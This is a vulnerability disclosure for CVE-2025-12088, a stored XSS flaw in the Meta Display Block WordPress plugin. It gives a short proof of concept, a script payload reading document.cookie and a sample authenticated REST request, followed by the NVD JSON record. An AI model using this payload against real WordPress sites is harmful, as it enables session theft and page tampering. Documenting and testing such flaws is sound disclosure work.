CVE-2025-12088

// CVE-2025-12088 PoC - Stored XSS in Meta Display Block Plugin // Requires Contributor-level access // Step 1: Create a post/page with malicious Meta Display Block const maliciousPayload = '<script>alert(document.cookie)</script>'; // Step 2: The payload is stored without sanitization // When other users access the page, the script executes // Example HTTP POST request to exploit: /* POST /wp-json/wp/v2/posts HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer <contributor_token> { "title": "Malicious Post", "content": "<!-- wp:meta-display-block/block -->\n<div class=\"meta-display-block\">" + maliciousPayload + "</div>\n<!-- /wp:meta-display-block/block -->", "status": "publish" } */

{"cve": {"id": "CVE-2025-12088", "sourceIdentifier": "[email protected]", "published": "2025-11-18T10:15:47.023", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Meta Display Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Meta Display Block in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/meta-display-block/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68251e79-d064-4be4-a218-92a03e27b59d?source=cve", "source": "[email protected]"}]}}